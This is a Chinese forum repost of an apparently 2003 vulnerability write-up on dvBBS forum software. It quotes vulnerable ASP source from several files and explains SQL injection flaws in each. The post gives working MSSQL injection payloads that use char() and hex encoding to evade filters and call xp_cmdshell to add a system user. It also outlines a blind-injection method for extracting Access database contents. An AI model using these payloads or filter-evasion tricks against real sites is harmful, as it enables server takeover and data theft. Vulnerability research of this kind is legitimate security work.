找回密码
 注册
搜索
热搜: 回贴
  • 前程无忧官网首页 有什么好的平台可以
  • 最新的销售平台 互联网营销的平台有哪
  • 制作网页的基本流程 网页制作和网页设
  • 【帝国CMS】输出带序号的列表(数字排
  • 网站建设公司 三一,中联,极东泵车的
  • 织梦 建站 织梦网站模版后台怎么更改
  • 云服务官网 哪些网站有免费的简历模板
  • 如何建网站要什么条件 建网站要用什么
  • 吉林市移动公司电话 吉林省退休人员网
  • 设计类毕业论文 网站设计与实现毕业论
查看: 14648|回复: 2

DVBBS漏洞和注入技巧

[复制链接]
发表于 2009-11-23 02:13:19 | 显示全部楼层 |阅读模式 IP:江苏扬州
提交者邮件地址: [url=http://hi.baidu.com/%BA%DA%BF%CD%B7%C0%CF%DF/blog/item/mailto:n.e.v.e.r@tom.com]n.e.v.e.r@tom.com
提交者QQ号码: 1143431
标题: dvBBS漏洞和注入技巧
版权:文章属中华安全网http://www.safechina.net和作者共同所有,转载请注明出处!!
内容:
捏脸的超人@2003.6.16

这几天抽空把手头上的商业版dvBBS看了一下,嗯,差不多都快看完第一遍了,下面是r开头到最后的几个文件的检测情况。这一段时间黄汤灌得很多,说不定会看走了眼,呵呵。


◆recycle.asp

if instr(request("tablename"),"bbs")>0 then
sql="select AnnounceID,boardID,UserName,Topic,body,DateAndTime from "&request("tablename")&" where locktopic=2 and not parentid=0 order by announceid desc"

tablename中只要包含"bbs"就可以为所欲为了,不过前提是你是论坛的master……有用吗?不知道,也许你在其他地方注入比较困难的时候,试着把自己提升为master后到这里来注入比较好,基本上没有什么长度或者字符上的约束。


◆reg.asp

set rs=conn.execute("select top 1 userid,face from [user] order by userid desc")
... ...
facename=rs(1)
... ...
facename=split(facename,"/")
... ...
newfilename="uploadFace/"&userid&"_"&facename(ubound(facename))
... ...
conn.execute("update [user] set face='"&newfilename&"' where userid="&userid)

和MyModify.asp一样的问题,利用起来有些困难,但是确实是存在的。更加细节的地方请参看前面的《动网的洞——again!》。

◆saveannounce.asp

if request.form("upfilerename")<>"" then
ihaveupfile=1
upfileinfo=replace(request.form("upfilerename"),"'","")
upfileinfo=replace(upfileinfo,";","")
upfileinfo=replace(upfileinfo,"--","")
upfilelen=len(upfileinfo)
upfileinfo=left(upfileinfo,upfilelen-1)
else
ihaveupfile=0
end if
... ...
if ihaveupfile=1 then conn.execute("update dv_upfile set F_AnnounceID='"&rootid&"│"&AnnounceID&"',F_Readme='"&Topic&"' where F_ID in ("&upfileinfo&")")

这是《dvBBS的另一类漏洞》的商业版问题,如果是配置得不好的MSSQL,试试看upfileinfo为这个的情况

1) declare @a sysname select @a=char(110)+char(101)+char(116)+char(32)+char(117)+char(115)+char(101)+char(114)+char(32)+char(97)+char(32)+char(97)+char(32)+char(47)+char(97)+char(100)+char(100) exec master.dbo.xp_cmdshell @a select (1

或者(中文版MSSQL2000下面测试通过的)

1)
declare @a sysname
select @a=0x6e006500740020007500730065007200200061002000610020002f00610064006400
exec master.dbo.xp_cmdshell @a
select (1

或者更加极端的

1)
declare @a sysname
declare @b sysname
select @a=0x6e006500740020007500730065007200200061002000610020002f00610064006400
select @b=0x6d00610073007400650072002e002e00780070005f0063006d0064007300680065006c006c00
exec @b @a
select (1

这个是执行net user a a /add,后面一种方法可以完全逃过过滤。如果是ACCESS,那么请用构造畸形条件的方法猜数据库的内容。


◆savereannounce.asp

同上!


◆savevote.asp

同上!还有这个:

votetype=Checkstr(request.Form("votetype"))
... ...
conn.execute("insert into vote (vote,votenum,votetype,timeout) values ('"&vote&"','"&votenum&"',"&votetype&",'"&votetimeout&"')")

其中CheckStr是这样写的
function checkStr(str)
if isnull(str) then
checkStr = ""
exit function
end if
checkStr=replace(str,"'","''")
end function

呵呵,这个漏洞很典型吧?

好了好了,就这些了,连同以前的那些漏洞,单个文件中存在的问题大约就是这些了吧?呵呵,可能还有其它的看漏掉了。下面要找的该是复合了几个文件的漏洞,不过这段时间我不会去做,毕业临近,每天黄黄白白的要喝不少,睡觉都占了一天的一半时间,哪有空呢……还要养精蓄锐,准备要赔给兄弟和MM们的眼泪,哇靠……

对了,反正都说了很多无关紧要的话,不如再废话一些。老是有人问我ACCESS的怎么利用,我觉得PsKey的大作中写得很清楚了,自己去看,OK?关于ACCESS中注入能够做些什么,我想是可以这样去理解:至少你可以构造畸形的条件来猜测并且准确获知表的构造和全部内容。用and来作为连接条件吧!这样的逻辑表达式会干净利落地回答你是或者否,如果是自动化,你可以把猜测的时间复杂度降到NlogN而不是N^2:

.. and x=(select xxx from xxx where right(left(xxx,N),1) between char(a) and char(b))

这个只适用于头脑发晕或者是灵感耗尽的时候,如果六位的数据你猜到前面四位是qazw或者是七位的数据你猜到前面是mrzh等等诸如此类,还要去下大包围的话,真是代表碳水化合物输给硅了!做程序的话倒可以用用,不过话又说回来,这种有限状态自动机写来干什么呢?自动化的结果是智力的游戏变成了时间的游戏,所以我最讨厌蠕虫了!
发表于 2010-1-11 08:05:02 | 显示全部楼层 IP:天津
一定要回贴,因为我是文明人哦
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|小黑屋|最新主题|手机版|微赢网络技术论坛 ( 苏ICP备08020429号 )

GMT+8, 2024-9-30 03:35 , Processed in 0.185181 second(s), 14 queries , Gzip On, MemCache On.

Powered by Discuz! X3.5

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表